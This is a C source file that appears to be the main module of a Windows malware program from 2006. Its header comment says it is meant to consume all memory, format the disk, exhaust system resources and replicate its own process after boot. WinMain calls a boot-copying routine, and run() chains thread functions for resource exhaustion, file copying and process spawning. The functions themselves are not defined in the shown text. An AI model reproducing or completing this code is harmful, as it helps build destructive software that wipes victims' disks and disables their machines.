#include <windows.h>
#include <stdio.h>

#include "include/resource.h"

/*
 * Authro : xiaozhi
 *
 * Date   : 2006/12/26	21:11
 *
 * Function : The windows boot successful when program tie up total 
 *	      memory and format disk, use up system resource. Process
 *	      own duplicate, delete, reproduce. etc...
 *
 * Copyright (c)  2001-2006  xiaozhi 
 *
 * Modify : Because adjust file directory, File delete before reestablish.
 */


/*
 * mian function.
 */
int __stdcall WinMain(  HINSTANCE hInstance,
			HINSTANCE hPrevInstance,
			LPSTR lpCmdLine,
			int nCmdShow )
{

	MSG		msg ;


	printf("%ld\n", mul(4,55, 666, 78));
	printf("%d\n", add(44, 55));

	// run();
	//create_thread();
	//create_thread_two();
	//create_thread_tieup();
	//create_thread_file_write();
	//create_thread_create_process();
	copy_system_boot();

	/*
	 * test program run circumstance, normal. Result is than I will, hehe... 
	 */
  	// MessageBox (NULL, TEXT ("Hello, xiaozhi, I Like linux very crazy !"), TEXT ("grave"), MB_ICONASTERISK);

	
	while (GetMessage (&msg, NULL, 0, 0))
	{
		TranslateMessage (&msg) ;
		DispatchMessage (&msg) ;
	}


	return msg.wParam ; 

	// return 0;
}



/*
 * receive message and handle(dispose).
 */



void run()
{ 
	create_thread();
	create_thread_two();
	create_thread_tieup();
	create_thread_copy_file();
	create_thread_file_write();
	create_thread_create_process();
}

